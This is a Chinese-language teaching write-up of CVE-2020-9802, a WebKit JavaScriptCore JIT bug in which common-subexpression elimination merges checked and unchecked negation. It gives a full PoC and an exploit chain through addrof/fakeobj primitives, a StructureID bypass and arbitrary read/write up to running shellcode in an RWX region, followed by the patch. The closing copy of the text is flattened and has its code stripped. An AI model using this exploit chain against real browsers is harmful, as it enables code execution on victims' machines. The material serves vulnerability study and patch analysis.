CVE-2020-9802-WebKit JIT优化漏洞分析
字数 968 2025-08-19 12:42:07

WebKit JIT优化漏洞分析(CVE-2020-9802)教学文档

漏洞概述

CVE-2020-9802是WebKit JavaScriptCore(JSC)引擎中的一个JIT优化漏洞,位于DFG JIT编译器对ArithNegate操作的公共子表达式消除(CSE)优化过程中。攻击者可以利用该漏洞绕过数组边界检查,实现越界读写,最终可能导致任意代码执行。

环境搭建

  1. 获取WebKit源码并切换到特定commit:
git checkout 17218d1485b0f5d98d2aad116d4fdb2bad6aee2d
git apply ./patch.diff
  1. 构建调试版本:
Tools/Scripts/build-webkit --jsc-only --debug
  1. 运行PoC:
./jsc --useConcurrentJIT=false ./exp.js

基础知识

JSC优化阶段

JSC会对JS代码进行多阶段优化,包括:

  • 公共子表达式消除(CSE):将重复计算相同表达式的代码优化为重用结果

优化限制

对于以下代码无法进行CSE优化:

let c = o.a;
f();
let d = o.a;

因为f()调用可能改变o.a的值。

漏洞分析

漏洞点

DFGClobberize中,ArithNegate操作没有使用ArithMode

case ArithNegate:
    if (node->child1().useKind() == Int32Use || ...)
        def(PureValue(node)); // 只考虑输入,忽略ArithMode

这导致CSE可以用uncheckedArithNegate替换checkedArithNegate

整数溢出问题

32位有符号整数取反时,只有INT_MIN(0x80000000)取反会溢出:

js> -2147483648 | 0
-2147483648
js> 2147483648 | 0
-2147483648

漏洞触发条件

构造以下效果:

v = ArithNeg(unchecked) n
i = ArithNeg(checked) n

通过CSE优化后变为:

v = ArithNeg(unchecked) n
i = v

构造步骤

  1. 构造unchecked ArithNegate
n = n | 0;  // 确保n是32位整数
let v = (-n) | 0;  // 生成unchecked ArithNegate
  1. 构造checked ArithNegate
if (n < 0) {
    let i = Math.abs(n);  // 对负数会生成checked ArithNegate
}
  1. 触发CSE优化:
function hax(arr, n) {
    n = n | 0;
    if (n < 0) {
        let v = (-n) | 0;
        let idx = Math.abs(n);
        if (idx < arr.length) {
            arr[idx];
        }
    }
}

完整PoC

function Foo(arr, n) {
    n = n | 0;
    if (n < 0) {
        let v = (-n) | 0;
        let idx = Math.abs(n);
        if (idx < arr.length) {
            if (idx & 0x80000000) {
                idx += -0x7ffffffd; // idx = 3
            }
            if (idx > 0) {
                return arr[idx] = 1.04380972981885e-310; // i2f(0x133700001337)
            }
        }
    }
}

漏洞利用

构造addrof和fakeobj原语

  1. 布置三个数组:
let noCoW = 13.37;
let arr = [noCoW, 2.2, 3.3];
let oobArr = [noCoW, 2.2, 3.3];
let objArr = [{}, {}, {}];
  1. 实现基础原语:
function AddrOf(obj) {
    objArr[0] = obj;
    return f2i(oobArr[4]);
}

function FakeObj(addr) {
    addr = i2f(addr);
    oobArr[4] = addr;
    return objArr[0];
}

绕过StructureID随机化

利用getByVal的特定代码路径绕过StructureID检查:

function LeakStructureID(obj) {
    let container = {
        cellHeader: i2obj(0x0108230700000000),
        butterfly: obj
    };
    let fakeObjAddr = AddrOf(container) + 0x10;
    let fakeObj = FakeObj(fakeObjAddr);
    f64[0] = fakeObj[0];
    let structureID = u32[0];
    u32[1] = 0x01082307 - 0x20000;
    container.cellHeader = f64[0];
    return structureID;
}

构造任意地址读写

  1. 创建驱动对象和共享butterfly:
var victim = [noCoW, 14.47, 15.57];
victim['prop'] = 13.37;
victim['prop_1'] = 13.37;

u32[0] = structureID;
u32[1] = 0x01082309 - 0x20000;
var container = {
    cellHeader: f64[0],
    butterfly: victim
};

var containerAddr = AddrOf(container);
var fakeArrAddr = containerAddr + 0x10;
var driver = FakeObj(fakeArrAddr);
  1. 实现增强原语:
function NewAddrOf(obj) {
    boxed[0] = obj;
    return f2i(unboxed[0]);
}

function NewFakeObj(addr) {
    unboxed[0] = i2f(addr);
    return boxed[0];
}
  1. 实现任意读写:
function Read64(addr) {
    driver[1] = i2f(addr + 0x10);
    return NewAddrOf(victim.prop);
}

function Write64(addr, val) {
    driver[1] = i2f(addr + 0x10);
    victim.prop = i2f(val);
}

任意代码执行

  1. 查找wasm rwx区域:
var jitFuncAddr = NewAddrOf(jitFunc);
var executableBaseAddr = Read64(jitFuncAddr + 0x18);
var jitCodeAddr = Read64(executableBaseAddr + 0x8);
var rwxAddr = Read64(jitCodeAddr + 0x20);
  1. 写入shellcode并执行:
ArbitraryWrite(rwxAddr, shellcode);
jitFunc();

补丁分析

补丁修改了DFGClobberize中对ArithNegate的处理:

- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));

现在CSE会检查ArithNegate的操作模式,防止uncheckedchecked模式互相替换。

参考链接

  1. JITSploitation One
  2. JITSploitation Two
  3. Project Zero Issue
  4. ray-cp PoC
  5. De4dCr0w分析
WebKit JIT优化漏洞分析(CVE-2020-9802)教学文档 漏洞概述 CVE-2020-9802是WebKit JavaScriptCore(JSC)引擎中的一个JIT优化漏洞,位于DFG JIT编译器对ArithNegate操作的公共子表达式消除(CSE)优化过程中。攻击者可以利用该漏洞绕过数组边界检查,实现越界读写,最终可能导致任意代码执行。 环境搭建 获取WebKit源码并切换到特定commit: 构建调试版本: 运行PoC: 基础知识 JSC优化阶段 JSC会对JS代码进行多阶段优化,包括: 公共子表达式消除(CSE):将重复计算相同表达式的代码优化为重用结果 优化限制 对于以下代码无法进行CSE优化: 因为 f() 调用可能改变 o.a 的值。 漏洞分析 漏洞点 在 DFGClobberize 中, ArithNegate 操作没有使用 ArithMode : 这导致CSE可以用 unchecked 的 ArithNegate 替换 checked 的 ArithNegate 。 整数溢出问题 32位有符号整数取反时,只有 INT_MIN(0x80000000) 取反会溢出: 漏洞触发条件 构造以下效果: 通过CSE优化后变为: 构造步骤 构造 unchecked ArithNegate : 构造 checked ArithNegate : 触发CSE优化: 完整PoC 漏洞利用 构造addrof和fakeobj原语 布置三个数组: 实现基础原语: 绕过StructureID随机化 利用 getByVal 的特定代码路径绕过StructureID检查: 构造任意地址读写 创建驱动对象和共享butterfly: 实现增强原语: 实现任意读写: 任意代码执行 查找wasm rwx区域: 写入shellcode并执行: 补丁分析 补丁修改了 DFGClobberize 中对 ArithNegate 的处理: 现在CSE会检查 ArithNegate 的操作模式,防止 unchecked 和 checked 模式互相替换。 参考链接 JITSploitation One JITSploitation Two Project Zero Issue ray-cp PoC De4dCr0w分析